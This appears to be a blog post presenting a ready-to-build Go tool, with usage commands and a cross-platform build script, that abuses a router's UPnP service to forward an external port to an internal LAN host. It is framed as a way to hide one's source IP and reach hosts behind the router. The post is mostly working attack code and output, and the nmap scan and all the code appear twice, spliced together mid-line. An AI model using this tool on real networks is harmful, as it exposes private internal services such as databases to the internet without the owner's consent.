September 20, 2026
How Attackers Can Use UPnP to Make a Router Assist in an Attack
You can use this technique to “hide” your source IP address, or to work around situations where an upstream router cannot directly reach…

By Мартин.
8 min read
You can use this technique to "hide" your source IP address, or to work around situations where an upstream router cannot directly reach hosts behind the downstream router.
$ nmap 192.168.2.1 -sC -sV
1900/tcp open upnp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 401 Unauthorized
| Content-Type: text/plain;charset=UTF-8
| Content-Length: 21
| Connection: close
| Cache-control: no-cache
| {"error_code":-40401}
| GenericLines, Help, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html;charset=UTF-8
| Content-Length: 0
| Connection: close
| Cache-control: no-cache
| GetRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/html;charset=UTF-8
| Content-Length: 0
| Connection: close
| Cache-control: no-cache
| HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 405 Method Not Allowed
| Content-Type: text/html;charset=UTF-8
| Content-Length: 0
| Connection: close
|_ Cache-control: no-cache1900/tcp open upnp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 401 Unauthorized
| Content-Type: text/plain;charset=UTF-8
| Content-Length: 21
| Connection: close
| Cache-control: no-cache
| {"error_code":-40401}
| GenericLines, Help, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html;charset=UTF-8
| Content-Length: 0
| Connection: close
| Cache-control: no-cache
| GetRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/html;charset=UTF-8
| Content-Length: 0
| Connection: close
| Cache-control: no-cache
| HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 405 Method Not Allowed
| Content-Type: text/html;charset=UTF-8
| Content-Length: 0
| Connection: close
|_ Cache-control: no-cache$ ./UPNP-linux-amd64 --scan
Map a port on any host within the local LAN to port 9999 on the router.
$ ./UPNP-linux-amd64 -rport 9999 -fip 192.168.2.103 -fport 1433
$ curl <Router_WAN_IP>:9999
Exploit
// Maptnh@S-H4CK13
package main
import (
"bytes"
"encoding/xml"
"errors"
"flag"
"fmt"
"io"
"net"
"net/http"
"net/url"
"os"
"os/signal"
"strings"
"sync"
"time"
)
const (
reset = "\033[0m"
red = "\033[91m"
green = "\033[92m"
yellow = "\033[93m"
cyan = "\033[96m"
)
var (
controlURL string
serviceType string
mappingAdded bool
cleanupOnce sync.Once
routerLANIP string
routerLANPrefix string
args *Config
signalChan chan os.Signal
)
type Config struct {
scan bool
fip string
fport int
rport int
}
type Service struct {
ServiceType string `xml:"serviceType"`
ControlURL string `xml:"controlURL"`
}
type Device struct {
Services []Service `xml:"serviceList>service"`
Devices []Device `xml:"deviceList>device"`
}
type DeviceRoot struct {
Device Device `xml:"device"`
}
func ok(text string) {
fmt.Printf("%s[+]%s %s\n", green, reset, text)
}
func info(text string) {
fmt.Printf("%s[*]%s %s\n", cyan, reset, text)
}
func warn(text string) {
fmt.Printf("%s[!]%s %s\n", yellow, reset, text)
}
func errPrint(text string) {
fmt.Printf("%s[-]%s %s\n", red, reset, text)
}
func findUPnP() (string, string, error) {
msg := strings.Join([]string{
"M-SEARCH * HTTP/1.1",
"HOST: 239.255.255.250:1900",
`MAN: "ssdp:discover"`,
"MX: 2",
"ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1",
"",
"",
}, "\r\n")
conn, err := net.ListenUDP(
"udp4",
&net.UDPAddr{
IP: net.IPv4zero,
Port: 0,
},
)
if err != nil {
return "", "", err
}
defer conn.Close()
if err := conn.SetReadDeadline(
time.Now().Add(3 * time.Second),
); err != nil {
return "", "", err
}
remote := &net.UDPAddr{
IP: net.ParseIP("239.255.255.250"),
Port: 1900,
}
if _, err := conn.WriteToUDP(
[]byte(msg),
remote,
); err != nil {
return "", "", err
}
buf := make([]byte, 65535)
locations := make(map[string]struct{})
for {
n, addr, err := conn.ReadFromUDP(buf)
if err != nil {
var netErr net.Error
if errors.As(err, &netErr) &&
netErr.Timeout() {
break
}
return "", "", err
}
text := string(buf[:n])
location := ""
for _, line := range strings.Split(
text,
"\n",
) {
line = strings.TrimSpace(line)
if strings.HasPrefix(
strings.ToLower(line),
"location:",
) {
parts := strings.SplitN(
line,
":",
2,
)
if len(parts) == 2 {
location = strings.TrimSpace(
parts[1],
)
}
break
}
}
if location == "" {
continue
}
if _, exists := locations[location]; exists {
continue
}
locations[location] = struct{}{}
return location, addr.IP.String(), nil
}
return "", "", nil
}
func getLANPrefix(routerIP string) string {
ip := net.ParseIP(routerIP)
if ip == nil {
return ""
}
ip4 := ip.To4()
if ip4 == nil {
return ""
}
return fmt.Sprintf(
"%d.%d.%d",
ip4[0],
ip4[1],
ip4[2],
)
}
func checkTargetNetwork(targetIP string) bool {
if routerLANPrefix == "" {
return false
}
if net.ParseIP(targetIP) == nil {
return false
}
return strings.HasPrefix(
targetIP,
routerLANPrefix+".",
)
}
func findService(device Device) (string, string) {
for _, svc := range device.Services {
st := strings.TrimSpace(
svc.ServiceType,
)
cu := strings.TrimSpace(
svc.ControlURL,
)
if st != "" &&
cu != "" &&
strings.Contains(
st,
"WANIPConnection",
) {
return st, cu
}
}
for _, svc := range device.Services {
st := strings.TrimSpace(
svc.ServiceType,
)
cu := strings.TrimSpace(
svc.ControlURL,
)
if st != "" &&
cu != "" &&
strings.Contains(
st,
"WANPPPConnection",
) {
return st, cu
}
}
for _, child := range device.Devices {
st, cu := findService(child)
if st != "" &&
cu != "" {
return st, cu
}
}
return "", ""
}
func getControlURL(location string) (string, error) {
client := &http.Client{
Timeout: 5 * time.Second,
}
resp, err := client.Get(location)
if err != nil {
errPrint(
fmt.Sprintf(
"UPnP description failed: %v",
err,
),
)
return "", err
}
defer resp.Body.Close()
data, err := io.ReadAll(
resp.Body,
)
if err != nil {
errPrint(
fmt.Sprintf(
"UPnP description failed: %v",
err,
),
)
return "", err
}
if resp.StatusCode >= 400 {
err := fmt.Errorf(
"HTTP Error %d",
resp.StatusCode,
)
errPrint(
fmt.Sprintf(
"UPnP description failed: %v",
err,
),
)
return "", err
}
var root DeviceRoot
if err := xml.Unmarshal(
data,
&root,
); err != nil {
errPrint(
fmt.Sprintf(
"UPnP description failed: %v",
err,
),
)
return "", err
}
st, cu := findService(
root.Device,
)
if st == "" ||
cu == "" {
return "", nil
}
serviceType = strings.TrimSpace(
st,
)
base, err := url.Parse(
location,
)
if err != nil {
return "", err
}
control, err := base.Parse(
strings.TrimSpace(cu),
)
if err != nil {
return "", err
}
return control.String(), nil
}
func parseSOAPError(
data []byte,
) (string, string) {
decoder := xml.NewDecoder(
bytes.NewReader(data),
)
var errorCode string
var errorDescription string
for {
token, err := decoder.Token()
if err != nil {
break
}
start, ok := token.(xml.StartElement)
if !ok {
continue
}
switch start.Name.Local {
case "errorCode":
var value string
if err := decoder.DecodeElement(
&value,
&start,
); err == nil {
errorCode = strings.TrimSpace(
value,
)
}
case "errorDescription":
var value string
if err := decoder.DecodeElement(
&value,
&start,
); err == nil {
errorDescription = strings.TrimSpace(
value,
)
}
}
}
return errorCode, errorDescription
}
func soap(
action string,
body string,
) ([]byte, error) {
req, err := http.NewRequest(
http.MethodPost,
controlURL,
bytes.NewBufferString(body),
)
if err != nil {
errPrint(
fmt.Sprintf(
"SOAP failed: %v",
err,
),
)
return nil, err
}
req.Header.Set(
"Content-Type",
`text/xml; charset="utf-8"`,
)
req.Header.Set(
"SOAPAction",
fmt.Sprintf(
`"%s#%s"`,
serviceType,
action,
),
)
client := &http.Client{
Timeout: 5 * time.Second,
}
resp, err := client.Do(req)
if err != nil {
errPrint(
fmt.Sprintf(
"SOAP failed: %v",
err,
),
)
return nil, err
}
defer resp.Body.Close()
data, err := io.ReadAll(
resp.Body,
)
if err != nil {
errPrint(
fmt.Sprintf(
"SOAP failed: %v",
err,
),
)
return nil, err
}
if resp.StatusCode >= 400 {
code, description := parseSOAPError(
data,
)
if code != "" {
errPrint(
fmt.Sprintf(
"UPnP error %s",
code,
),
)
} else {
errPrint(
fmt.Sprintf(
"HTTP Error %d",
resp.StatusCode,
),
)
}
if description != "" {
warn(description)
}
return nil, fmt.Errorf(
"HTTP Error %d",
resp.StatusCode,
)
}
return data, nil
}
func getExternalIP() (
string,
error,
) {
body := fmt.Sprintf(
`<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:GetExternalIPAddress xmlns:u="%s">
</u:GetExternalIPAddress>
</s:Body>
</s:Envelope>
`,
serviceType,
)
data, err := soap(
"GetExternalIPAddress",
body,
)
if err != nil {
return "", err
}
decoder := xml.NewDecoder(
bytes.NewReader(data),
)
for {
token, err := decoder.Token()
if err != nil {
break
}
start, ok := token.(xml.StartElement)
if !ok {
continue
}
if start.Name.Local !=
"NewExternalIPAddress" {
continue
}
var ip string
if err := decoder.DecodeElement(
&ip,
&start,
); err != nil {
return "", err
}
ip = strings.TrimSpace(ip)
if ip != "" {
return ip, nil
}
}
return "", nil
}
func addMapping(
targetIP string,
externalPort int,
internalPort int,
) error {
body := fmt.Sprintf(
`<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping xmlns:u="%s">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>%d</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>%d</NewInternalPort>
<NewInternalClient>%s</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>LAB-UPnP-DEMO</NewPortMappingDescription>
<NewLeaseDuration>0</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>
`,
serviceType,
externalPort,
internalPort,
targetIP,
)
if _, err := soap(
"AddPortMapping",
body,
); err != nil {
return err
}
mappingAdded = true
return nil
}
func deleteMapping(
externalPort int,
) {
if controlURL == "" ||
!mappingAdded {
return
}
body := fmt.Sprintf(
`<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:DeletePortMapping xmlns:u="%s">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>%d</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
</u:DeletePortMapping>
</s:Body>
</s:Envelope>
`,
serviceType,
externalPort,
)
if _, err := soap(
"DeletePortMapping",
body,
); err != nil {
errPrint(
fmt.Sprintf(
"Cleanup failed: %v",
err,
),
)
return
}
ok(
fmt.Sprintf(
"Removed TCP:%d",
externalPort,
),
)
mappingAdded = false
}
func cleanup() {
cleanupOnce.Do(func() {
fmt.Println()
info("Stopping...")
if args != nil &&
mappingAdded {
deleteMapping(
args.rport,
)
}
})
}
func waitSignal() {
<-signalChan
cleanup()
}
func installSignalHandler() {
signalChan = make(
chan os.Signal,
1,
)
signal.Notify(
signalChan,
os.Interrupt,
)
}
func validPort(port int) bool {
return port >= 1 &&
port <= 65535
}
func main() {
scanOnly := flag.Bool(
"scan",
false,
"Scan UPnP only",
)
fip := flag.String(
"fip",
"",
"Internal target IP",
)
fport := flag.Int(
"fport",
0,
"Internal target port",
)
rport := flag.Int(
"rport",
0,
"Router external port",
)
flag.Parse()
var scanSet bool
var fipSet bool
var fportSet bool
var rportSet bool
flag.Visit(
func(f *flag.Flag) {
switch f.Name {
case "scan":
scanSet = true
case "fip":
fipSet = true
case "fport":
fportSet = true
case "rport":
rportSet = true
}
},
)
mappingMode :=
fipSet ||
fportSet ||
rportSet
if scanSet &&
mappingMode {
errPrint(
"--scan cannot be used with mapping parameters",
)
return
}
if !scanSet &&
!mappingMode {
errPrint(
"Use --scan or --rport --fip --fport",
)
return
}
if mappingMode {
if !rportSet ||
!fipSet ||
!fportSet {
errPrint(
"--rport --fip --fport must be used together",
)
return
}
if !validPort(*rport) {
errPrint(
"Invalid --rport",
)
return
}
if !validPort(*fport) {
errPrint(
"Invalid --fport",
)
return
}
if net.ParseIP(*fip) == nil {
errPrint(
"Invalid --fip",
)
return
}
}
location, routerIP, err :=
findUPnP()
if err != nil {
errPrint(
fmt.Sprintf(
"SSDP failed: %v",
err,
),
)
return
}
if location == "" ||
routerIP == "" {
errPrint(
"No UPnP router found",
)
return
}
routerLANIP = routerIP
routerLANPrefix =
getLANPrefix(
routerIP,
)
ok(
fmt.Sprintf(
"UPnP: %s",
routerLANIP,
),
)
if routerLANPrefix != "" {
info(
fmt.Sprintf(
"LAN: %s.x",
routerLANPrefix,
),
)
}
if *scanOnly {
ok("UPnP available")
info(
"Use: --rport <port> --fip <ip> --fport <port>",
)
return
}
args = &Config{
scan: false,
fip: *fip,
fport: *fport,
rport: *rport,
}
if !checkTargetNetwork(
args.fip,
) {
errPrint(
fmt.Sprintf(
"Target must be %s.x",
routerLANPrefix,
),
)
return
}
info(
fmt.Sprintf(
"Forward: %s:%d",
args.fip,
args.fport,
),
)
info(
fmt.Sprintf(
"Router: WAN:%d",
args.rport,
),
)
installSignalHandler()
controlURL, err =
getControlURL(
location,
)
if err != nil {
return
}
if controlURL == "" {
errPrint(
"WANIPConnection not found",
)
return
}
wanIP, err :=
getExternalIP()
if err != nil {
return
}
if wanIP == "" {
errPrint(
"WAN IP unavailable",
)
return
}
if err := addMapping(
args.fip,
args.rport,
args.fport,
); err != nil {
return
}
ok(
fmt.Sprintf(
"%s:%d -> %s:%d",
wanIP,
args.rport,
args.fip,
args.fport,
),
)
info(
"Press Ctrl+C to remove",
)
waitSignal()
}
#!/bin/bash
#Maptnh@S-H4CK13
set -e
NAME="UPNP"
if [ ! -f go.mod ]; then
go mod init main
fi
go mod tidy
rm -rf build
mkdir -p build
LDFLAGS="-s -w -buildid="
echo "==================== START BUILD ===================="
echo "[BUILD] Windows amd64"
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-windows-amd64.exe" main.go
echo "[BUILD] Windows 386"
CGO_ENABLED=0 GOOS=windows GOARCH=386 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-windows-386.exe" main.go
echo "[BUILD] Windows arm64"
CGO_ENABLED=0 GOOS=windows GOARCH=arm64 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-windows-arm64.exe" main.go
echo "[BUILD] Linux amd64"
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-linux-amd64" main.go
echo "[BUILD] Linux 386"
CGO_ENABLED=0 GOOS=linux GOARCH=386 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-linux-386" main.go
echo "[BUILD] Linux arm64"
CGO_ENABLED=0 GOOS=linux GOARCH=arm64 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-linux-arm64" main.go
echo "[BUILD] Linux armv7"
CGO_ENABLED=0 GOOS=linux GOARCH=arm GOARM=7 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-linux-armv7" main.go
echo "[BUILD] macOS amd64"
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-darwin-amd64" main.go
echo "[BUILD] macOS arm64"
CGO_ENABLED=0 GOOS=darwin GOARCH=arm64 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-darwin-arm64" main.go
chmod +x build/${NAME}-linux-*
chmod +x build/${NAME}-darwin-*
echo
echo "==================== BUILD DONE ===================="
ls -lh build/// Maptnh@S-H4CK13
package main
import (
"bytes"
"encoding/xml"
"errors"
"flag"
"fmt"
"io"
"net"
"net/http"
"net/url"
"os"
"os/signal"
"strings"
"sync"
"time"
)
const (
reset = "\033[0m"
red = "\033[91m"
green = "\033[92m"
yellow = "\033[93m"
cyan = "\033[96m"
)
var (
controlURL string
serviceType string
mappingAdded bool
cleanupOnce sync.Once
routerLANIP string
routerLANPrefix string
args *Config
signalChan chan os.Signal
)
type Config struct {
scan bool
fip string
fport int
rport int
}
type Service struct {
ServiceType string `xml:"serviceType"`
ControlURL string `xml:"controlURL"`
}
type Device struct {
Services []Service `xml:"serviceList>service"`
Devices []Device `xml:"deviceList>device"`
}
type DeviceRoot struct {
Device Device `xml:"device"`
}
func ok(text string) {
fmt.Printf("%s[+]%s %s\n", green, reset, text)
}
func info(text string) {
fmt.Printf("%s[*]%s %s\n", cyan, reset, text)
}
func warn(text string) {
fmt.Printf("%s[!]%s %s\n", yellow, reset, text)
}
func errPrint(text string) {
fmt.Printf("%s[-]%s %s\n", red, reset, text)
}
func findUPnP() (string, string, error) {
msg := strings.Join([]string{
"M-SEARCH * HTTP/1.1",
"HOST: 239.255.255.250:1900",
`MAN: "ssdp:discover"`,
"MX: 2",
"ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1",
"",
"",
}, "\r\n")
conn, err := net.ListenUDP(
"udp4",
&net.UDPAddr{
IP: net.IPv4zero,
Port: 0,
},
)
if err != nil {
return "", "", err
}
defer conn.Close()
if err := conn.SetReadDeadline(
time.Now().Add(3 * time.Second),
); err != nil {
return "", "", err
}
remote := &net.UDPAddr{
IP: net.ParseIP("239.255.255.250"),
Port: 1900,
}
if _, err := conn.WriteToUDP(
[]byte(msg),
remote,
); err != nil {
return "", "", err
}
buf := make([]byte, 65535)
locations := make(map[string]struct{})
for {
n, addr, err := conn.ReadFromUDP(buf)
if err != nil {
var netErr net.Error
if errors.As(err, &netErr) &&
netErr.Timeout() {
break
}
return "", "", err
}
text := string(buf[:n])
location := ""
for _, line := range strings.Split(
text,
"\n",
) {
line = strings.TrimSpace(line)
if strings.HasPrefix(
strings.ToLower(line),
"location:",
) {
parts := strings.SplitN(
line,
":",
2,
)
if len(parts) == 2 {
location = strings.TrimSpace(
parts[1],
)
}
break
}
}
if location == "" {
continue
}
if _, exists := locations[location]; exists {
continue
}
locations[location] = struct{}{}
return location, addr.IP.String(), nil
}
return "", "", nil
}
func getLANPrefix(routerIP string) string {
ip := net.ParseIP(routerIP)
if ip == nil {
return ""
}
ip4 := ip.To4()
if ip4 == nil {
return ""
}
return fmt.Sprintf(
"%d.%d.%d",
ip4[0],
ip4[1],
ip4[2],
)
}
func checkTargetNetwork(targetIP string) bool {
if routerLANPrefix == "" {
return false
}
if net.ParseIP(targetIP) == nil {
return false
}
return strings.HasPrefix(
targetIP,
routerLANPrefix+".",
)
}
func findService(device Device) (string, string) {
for _, svc := range device.Services {
st := strings.TrimSpace(
svc.ServiceType,
)
cu := strings.TrimSpace(
svc.ControlURL,
)
if st != "" &&
cu != "" &&
strings.Contains(
st,
"WANIPConnection",
) {
return st, cu
}
}
for _, svc := range device.Services {
st := strings.TrimSpace(
svc.ServiceType,
)
cu := strings.TrimSpace(
svc.ControlURL,
)
if st != "" &&
cu != "" &&
strings.Contains(
st,
"WANPPPConnection",
) {
return st, cu
}
}
for _, child := range device.Devices {
st, cu := findService(child)
if st != "" &&
cu != "" {
return st, cu
}
}
return "", ""
}
func getControlURL(location string) (string, error) {
client := &http.Client{
Timeout: 5 * time.Second,
}
resp, err := client.Get(location)
if err != nil {
errPrint(
fmt.Sprintf(
"UPnP description failed: %v",
err,
),
)
return "", err
}
defer resp.Body.Close()
data, err := io.ReadAll(
resp.Body,
)
if err != nil {
errPrint(
fmt.Sprintf(
"UPnP description failed: %v",
err,
),
)
return "", err
}
if resp.StatusCode >= 400 {
err := fmt.Errorf(
"HTTP Error %d",
resp.StatusCode,
)
errPrint(
fmt.Sprintf(
"UPnP description failed: %v",
err,
),
)
return "", err
}
var root DeviceRoot
if err := xml.Unmarshal(
data,
&root,
); err != nil {
errPrint(
fmt.Sprintf(
"UPnP description failed: %v",
err,
),
)
return "", err
}
st, cu := findService(
root.Device,
)
if st == "" ||
cu == "" {
return "", nil
}
serviceType = strings.TrimSpace(
st,
)
base, err := url.Parse(
location,
)
if err != nil {
return "", err
}
control, err := base.Parse(
strings.TrimSpace(cu),
)
if err != nil {
return "", err
}
return control.String(), nil
}
func parseSOAPError(
data []byte,
) (string, string) {
decoder := xml.NewDecoder(
bytes.NewReader(data),
)
var errorCode string
var errorDescription string
for {
token, err := decoder.Token()
if err != nil {
break
}
start, ok := token.(xml.StartElement)
if !ok {
continue
}
switch start.Name.Local {
case "errorCode":
var value string
if err := decoder.DecodeElement(
&value,
&start,
); err == nil {
errorCode = strings.TrimSpace(
value,
)
}
case "errorDescription":
var value string
if err := decoder.DecodeElement(
&value,
&start,
); err == nil {
errorDescription = strings.TrimSpace(
value,
)
}
}
}
return errorCode, errorDescription
}
func soap(
action string,
body string,
) ([]byte, error) {
req, err := http.NewRequest(
http.MethodPost,
controlURL,
bytes.NewBufferString(body),
)
if err != nil {
errPrint(
fmt.Sprintf(
"SOAP failed: %v",
err,
),
)
return nil, err
}
req.Header.Set(
"Content-Type",
`text/xml; charset="utf-8"`,
)
req.Header.Set(
"SOAPAction",
fmt.Sprintf(
`"%s#%s"`,
serviceType,
action,
),
)
client := &http.Client{
Timeout: 5 * time.Second,
}
resp, err := client.Do(req)
if err != nil {
errPrint(
fmt.Sprintf(
"SOAP failed: %v",
err,
),
)
return nil, err
}
defer resp.Body.Close()
data, err := io.ReadAll(
resp.Body,
)
if err != nil {
errPrint(
fmt.Sprintf(
"SOAP failed: %v",
err,
),
)
return nil, err
}
if resp.StatusCode >= 400 {
code, description := parseSOAPError(
data,
)
if code != "" {
errPrint(
fmt.Sprintf(
"UPnP error %s",
code,
),
)
} else {
errPrint(
fmt.Sprintf(
"HTTP Error %d",
resp.StatusCode,
),
)
}
if description != "" {
warn(description)
}
return nil, fmt.Errorf(
"HTTP Error %d",
resp.StatusCode,
)
}
return data, nil
}
func getExternalIP() (
string,
error,
) {
body := fmt.Sprintf(
`<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:GetExternalIPAddress xmlns:u="%s">
</u:GetExternalIPAddress>
</s:Body>
</s:Envelope>
`,
serviceType,
)
data, err := soap(
"GetExternalIPAddress",
body,
)
if err != nil {
return "", err
}
decoder := xml.NewDecoder(
bytes.NewReader(data),
)
for {
token, err := decoder.Token()
if err != nil {
break
}
start, ok := token.(xml.StartElement)
if !ok {
continue
}
if start.Name.Local !=
"NewExternalIPAddress" {
continue
}
var ip string
if err := decoder.DecodeElement(
&ip,
&start,
); err != nil {
return "", err
}
ip = strings.TrimSpace(ip)
if ip != "" {
return ip, nil
}
}
return "", nil
}
func addMapping(
targetIP string,
externalPort int,
internalPort int,
) error {
body := fmt.Sprintf(
`<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping xmlns:u="%s">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>%d</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>%d</NewInternalPort>
<NewInternalClient>%s</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>LAB-UPnP-DEMO</NewPortMappingDescription>
<NewLeaseDuration>0</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>
`,
serviceType,
externalPort,
internalPort,
targetIP,
)
if _, err := soap(
"AddPortMapping",
body,
); err != nil {
return err
}
mappingAdded = true
return nil
}
func deleteMapping(
externalPort int,
) {
if controlURL == "" ||
!mappingAdded {
return
}
body := fmt.Sprintf(
`<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:DeletePortMapping xmlns:u="%s">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>%d</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
</u:DeletePortMapping>
</s:Body>
</s:Envelope>
`,
serviceType,
externalPort,
)
if _, err := soap(
"DeletePortMapping",
body,
); err != nil {
errPrint(
fmt.Sprintf(
"Cleanup failed: %v",
err,
),
)
return
}
ok(
fmt.Sprintf(
"Removed TCP:%d",
externalPort,
),
)
mappingAdded = false
}
func cleanup() {
cleanupOnce.Do(func() {
fmt.Println()
info("Stopping...")
if args != nil &&
mappingAdded {
deleteMapping(
args.rport,
)
}
})
}
func waitSignal() {
<-signalChan
cleanup()
}
func installSignalHandler() {
signalChan = make(
chan os.Signal,
1,
)
signal.Notify(
signalChan,
os.Interrupt,
)
}
func validPort(port int) bool {
return port >= 1 &&
port <= 65535
}
func main() {
scanOnly := flag.Bool(
"scan",
false,
"Scan UPnP only",
)
fip := flag.String(
"fip",
"",
"Internal target IP",
)
fport := flag.Int(
"fport",
0,
"Internal target port",
)
rport := flag.Int(
"rport",
0,
"Router external port",
)
flag.Parse()
var scanSet bool
var fipSet bool
var fportSet bool
var rportSet bool
flag.Visit(
func(f *flag.Flag) {
switch f.Name {
case "scan":
scanSet = true
case "fip":
fipSet = true
case "fport":
fportSet = true
case "rport":
rportSet = true
}
},
)
mappingMode :=
fipSet ||
fportSet ||
rportSet
if scanSet &&
mappingMode {
errPrint(
"--scan cannot be used with mapping parameters",
)
return
}
if !scanSet &&
!mappingMode {
errPrint(
"Use --scan or --rport --fip --fport",
)
return
}
if mappingMode {
if !rportSet ||
!fipSet ||
!fportSet {
errPrint(
"--rport --fip --fport must be used together",
)
return
}
if !validPort(*rport) {
errPrint(
"Invalid --rport",
)
return
}
if !validPort(*fport) {
errPrint(
"Invalid --fport",
)
return
}
if net.ParseIP(*fip) == nil {
errPrint(
"Invalid --fip",
)
return
}
}
location, routerIP, err :=
findUPnP()
if err != nil {
errPrint(
fmt.Sprintf(
"SSDP failed: %v",
err,
),
)
return
}
if location == "" ||
routerIP == "" {
errPrint(
"No UPnP router found",
)
return
}
routerLANIP = routerIP
routerLANPrefix =
getLANPrefix(
routerIP,
)
ok(
fmt.Sprintf(
"UPnP: %s",
routerLANIP,
),
)
if routerLANPrefix != "" {
info(
fmt.Sprintf(
"LAN: %s.x",
routerLANPrefix,
),
)
}
if *scanOnly {
ok("UPnP available")
info(
"Use: --rport <port> --fip <ip> --fport <port>",
)
return
}
args = &Config{
scan: false,
fip: *fip,
fport: *fport,
rport: *rport,
}
if !checkTargetNetwork(
args.fip,
) {
errPrint(
fmt.Sprintf(
"Target must be %s.x",
routerLANPrefix,
),
)
return
}
info(
fmt.Sprintf(
"Forward: %s:%d",
args.fip,
args.fport,
),
)
info(
fmt.Sprintf(
"Router: WAN:%d",
args.rport,
),
)
installSignalHandler()
controlURL, err =
getControlURL(
location,
)
if err != nil {
return
}
if controlURL == "" {
errPrint(
"WANIPConnection not found",
)
return
}
wanIP, err :=
getExternalIP()
if err != nil {
return
}
if wanIP == "" {
errPrint(
"WAN IP unavailable",
)
return
}
if err := addMapping(
args.fip,
args.rport,
args.fport,
); err != nil {
return
}
ok(
fmt.Sprintf(
"%s:%d -> %s:%d",
wanIP,
args.rport,
args.fip,
args.fport,
),
)
info(
"Press Ctrl+C to remove",
)
waitSignal()
}
#!/bin/bash
#Maptnh@S-H4CK13
set -e
NAME="UPNP"
if [ ! -f go.mod ]; then
go mod init main
fi
go mod tidy
rm -rf build
mkdir -p build
LDFLAGS="-s -w -buildid="
echo "==================== START BUILD ===================="
echo "[BUILD] Windows amd64"
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-windows-amd64.exe" main.go
echo "[BUILD] Windows 386"
CGO_ENABLED=0 GOOS=windows GOARCH=386 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-windows-386.exe" main.go
echo "[BUILD] Windows arm64"
CGO_ENABLED=0 GOOS=windows GOARCH=arm64 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-windows-arm64.exe" main.go
echo "[BUILD] Linux amd64"
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-linux-amd64" main.go
echo "[BUILD] Linux 386"
CGO_ENABLED=0 GOOS=linux GOARCH=386 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-linux-386" main.go
echo "[BUILD] Linux arm64"
CGO_ENABLED=0 GOOS=linux GOARCH=arm64 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-linux-arm64" main.go
echo "[BUILD] Linux armv7"
CGO_ENABLED=0 GOOS=linux GOARCH=arm GOARM=7 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-linux-armv7" main.go
echo "[BUILD] macOS amd64"
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-darwin-amd64" main.go
echo "[BUILD] macOS arm64"
CGO_ENABLED=0 GOOS=darwin GOARCH=arm64 \
go build -trimpath -ldflags "$LDFLAGS" \
-o "build/${NAME}-darwin-arm64" main.go
chmod +x build/${NAME}-linux-*
chmod +x build/${NAME}-darwin-*
echo
echo "==================== BUILD DONE ===================="
ls -lh build/$ bash build.sh